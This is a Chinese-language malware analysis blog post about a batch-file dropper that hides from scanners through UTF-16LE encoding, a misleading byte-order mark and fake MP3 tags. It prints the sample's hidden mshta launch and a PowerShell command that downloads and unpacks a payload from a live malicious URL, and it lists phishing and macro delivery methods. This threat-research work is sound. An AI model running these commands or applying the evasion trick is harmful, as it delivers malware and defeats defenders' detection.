freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

UTF-16LE编码与.Bat文件:探讨混淆技术逃避检测
2024-12-10 15:01:19
所属地 广东省

近期在X上的发现:威胁猎手捕获到的猎物

在最近的X浏览中,我发现了威胁猎手捕获的一些有趣的猎物。其中一个样本引起了我的注意——一个以.bat文件形式出现的可疑文件。我分析了这个文件发现它在Virustotal沙箱的检测结果相当低,截至12月9日,仅有1/62的检测率,而且还是安全软件Kaspersky实验室能够识别到其异常。而在今天(2024年12月10日),这个检测触发标红略有上升至3/62。

文件哈希值:

  • MD5:7bd226d3911eee86acd8733aad6dc356
  • SHA-1:e550e075ac4cd24aaca3e853add0bf986d0c9e94
  • SHA-256:d410a958d00adbf49afa6dbd439843652e81314fd11e5925956630682dbedb2e

文件类型分析:

  • SSDEEP:3072:M2EDdXWAPtYKlMr/sWDwGgkekPDBcZn42p9Gzua7Y09cQ7rig/liTqSc:9ExuKot7eADBcvp0zuU39TjiTS
  • TLSH:T12304E112421C6E3F739B639D44B91E1A69C84DC300B61FD8F47C9AC6BB8ED172B6918D
  • 文件类型:文本文件,具体为UTF-16编码的文本
  • Magic:Unicode文本,采用UTF-16小端序编码,包含极长的行(32767u),没有行终止符
  • TrID:主要被识别为MP3音频(ID3 v1.x标签,45.4%),其次是UTF-16(LE)编码的文本(36.3%),以及MP3音频(18.1%)
  • Magika:TXT文件类型
  • 文件大小:170.50 KB (174595 bytes)

前言

本文讨论了一个普通的批处理(.bat)文件,它通过采用非标准的UTF-16小端序(UTF-16LE)编码方式,成功地绕过了传统的恶意软件检测工具。通常,.bat文件是以纯文本编码(如ASCII或UTF-8)保存的。然而,使用UTF-16LE编码显著提高了该文件在安全沙箱环境中的隐蔽性,从而降低了检测的有效性。此技术正是现代恶意软件开发者常用的反检测手段之一。除了编码混淆外,文件还采用了极长的行(达到32767个字符)并去除了常规的行终止符,进一步增加了分析的复杂度。通过这种方式,文件能够避开传统的静态扫描工具,从而达到其恶意目的——通过CMD命令执行下载恶意文件的操作。

UTF-16LE编码的逃避机制

UTF-16LE(小端序)是Windows平台上广泛使用的文本编码方式。它将每个字符以两个字节进行存储。相比于传统的ASCII或UTF-8编码,UTF-16LE在逃避恶意软件检测方面具有明显优势。具体来说,它能有效地混淆恶意代码,使得静态分析工具难以识别文件中的恶意内容。以下是UTF-16LE编码在恶意软件逃避检测中的一些关键技术:

  • 隐藏恶意代码:UTF-16LE编码通过将每个字符拆分为两个字节,使得恶意代码的字符序列被分散存储。这种方式增加了扫描工具在进行匹配时的困难,因为恶意代码的字节序列被打乱,从而避免了简单的字节模式匹配。

  • 绕过签名检测:恶意软件通常依赖于签名检测,寻找特定的字节模式。而在UTF-16LE编码下,即使恶意的.bat文件内容相同,也由于编码的重排,导致基于签名的检测无法有效识别其恶意特性。

  • 增加解析复杂性:UTF-16LE编码让恶意脚本的执行行为和结构被转化为多字节的字符序列。这使得动态分析的复杂度大幅提高,尤其是当文件中存在无终止符的长行时,分析者难以快速确定恶意代码的开始与结束,从而延缓了攻击行为的发现。

  • 混淆与反调试:UTF-16LE编码常与其他反调试、反虚拟化技术结合使用。攻击者可能在文件中插入无关的Unicode字符,进一步迷惑分析工具或沙箱环境,避免被即时检测。

分析与攻击链

通过对该样本的进一步分析,我们发现该文件不仅使用了UTF-16LE编码,而且巧妙地与其他混淆技术结合使用,使得恶意行为在沙箱环境中不易被察觉。具体来说,文件内容中含有大量无用的Unicode字符,并且伪造了MP3音频标签,这可能导致它在静态分析时被误判为音频文件。打开该.bat文件时,由于编码的混淆,传统文本编辑器无法直接识别其内容,因此也无法快速发现文件中的恶意命令。

1733812725_6757e1f500af13a58732a.png!small?1733812725854

我们还观察到,文件头包含了字节顺序标记(BOM,字节顺序标记为“FF FE”),这使得该文件被错误地识别为UTF-16LE编码格式的文件。尽管文件实际包含的只是ASCII字符,这一字节顺序标记可能会误导安全软件,使其认为文件是复杂的Unicode文本,而忽略其中潜在的恶意代码。这种混淆手段通过利用UTF-16LE编码的特性,成功规避了许多常见的安全扫描技术。

1733809498_6757d55a827901a4671b7.png!small?1733809499125

字符替换与插入:被插入的乱码字符(如“欥䭷捊呔╒┾汯...”等)并非随机生成,而是通过某种规则将ASCII字符编码为UTF-16LE字符。

通过这种方式,攻击者可以有效将有害的执行代码隐藏在乱码字符中,这些乱码字符看起来毫无意义,但实际上它们是在执行阶段被转换回有效的编码指令。

1733811988_6757df147da34cd94a09e.png!small?1733811988823

【.bat样本文件内的指令】

1. cmd.exe和 very.bat的执行

  • cmd.exe(PID:6876) 启动了 very.bat文件:
    PLAINTEXT
    "C:\Windows\System32\cmd.exe" /c C:\Users\Administrator\Desktop\very.bat

    • 这里使用 /c参数表示执行命令并立即退出。
    • very.bat可能是攻击者用来执行恶意操作的批处理文件。1733814736_6757e9d083b09c7cfca27.png!small?1733814737261

2. chcp.com- 改变代码页

  • chcp.com(PID:6420) 执行命令 chcp 65001,将命令提示符的代码页更改为65001(UTF-8),以便正确处理Unicode字符。

3. mshta.exe- 使用VBScript执行恶意脚本

  • mshta.exe(PID:6528) 执行一个VBScript脚本,该脚本创建一个WScript.Shell对象并在后台运行 very.bat
    PLAINTEXT
    mshta vbscript:createobject("wscript.shell").run("""C:\Users\ADMINI~1\Desktop\very.bat"" ::",0)(window.close)

    • 这里 ::可能是为了确保脚本不会产生任何输出。
    • (window.close)关闭MSHTA窗口,隐藏了脚本的执行。

4. 再次执行 cmd.exe和 very.bat

  • cmd.exe(PID:6928) 再次启动 very.bat
    PLAINTEXT
    
    C:\Windows\system32\cmd.exe /c ""C:\Users\ADMINI~1\Desktop\very.bat" ::"

5. 下载和解压文件

  • cmd.exe(PID:7116) 执行一个PowerShell命令,用于下载和解压文件:

    PLAINTEXT
    
    C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://ai-kling.online/vietnamplug.zip', [System.IO.Path]::GetTempPath() + 'xFSOj9El1Q.zip') "

    • 该命令设置TLS 1.2协议,然后使用 WebClient下载一个ZIP文件到临时文件夹。
  • powershell.exe(PID:6572) 执行PowerShell脚本:

    PLAINTEXT
    
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

  • cmd.exe(PID:5492) 执行另一个PowerShell命令,用于解压ZIP文件:

    PLAINTEXT
    
    C:\Windows\system32\cmd.exe /S /D /c" echo $dst = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('LocalApplicationData'), 'xFSOj9El1Q'); Add-Type -AssemblyName System.IO.Compression.FileSystem; if (Test-Path $dst) { Remove-Item -Recurse -Force "$dst*" } else { New-Item -ItemType Directory -Force $dst } ; [System.IO.Compression.ZipFile]::ExtractToDirectory([System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'xFSOj9El1Q.zip'), $dst) "

    • 该命令将下载的ZIP文件解压到用户的本地应用数据文件夹。

下载的是一个Python程序。

https://ai-kling.online/vietnamplug.zip

1733814787_6757ea037eabe6ce80046.png!small?1733814787903

样本沙箱检测

1733808201_6757d0495ad928ffa2b6c.png!small?1733808202257

【火绒检测】

1733808229_6757d06595a74133e771d.png!small?1733808230090

virustotal沙箱检测

1733808415_6757d11fd47ca041e55c7.png!small?1733808416490

微步沙箱检测

1733808784_6757d290693ae277c14e1.png!small?1733808785013

奇安信沙箱检测

总结

这种UTF-16LE编码绕过检测的攻击手段,配合以上各种攻击方式,可以帮助攻击者提高攻击的隐蔽性和成功率,攻击者可能会配合文档等攻击手法例如:

  1. 宏病毒

    • 攻击者可以将恶意.bat文件嵌入到文档(如Word、Excel)中的宏中。当用户启用宏时,宏将执行该.bat文件。
  2. 钓鱼邮件附件

    • 通过电子邮件发送包含恶意.bat文件的文档。当用户打开附件并执行时,恶意代码会被触发。
  3. 文档伪装

    • 文档(如PDF、Word)可以伪装成普通文件,但实际上包含了触发.bat文件执行的代码或链接。
  4. 嵌入式对象

    • 在文档中嵌入对象(如图片、链接),这些对象实际指向恶意的.bat文件或包含触发执行恶意代码的脚本。
  5. 文档的自动化功能

    • 利用文档的自动化功能(如自动运行VBA脚本或宏)来执行隐藏的.bat文件。
  6. 伪装为合法文件

    • .bat文件伪装成普通的文本文档或其他类型的文件,通过社工手法诱导用户执行。
  7. 文件共享和云存储服务

    • 利用OneDrive、Dropbox等服务分享包含恶意.bat文件的文档,用户下载并执行时触发恶意行为。
  8. 恶意链接

    • 在文档中嵌入恶意链接,这些链接指向下载和执行.bat文件的网站。
# 网络安全 # 系统安全 # 数据安全 # 企业安全 # 威胁分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录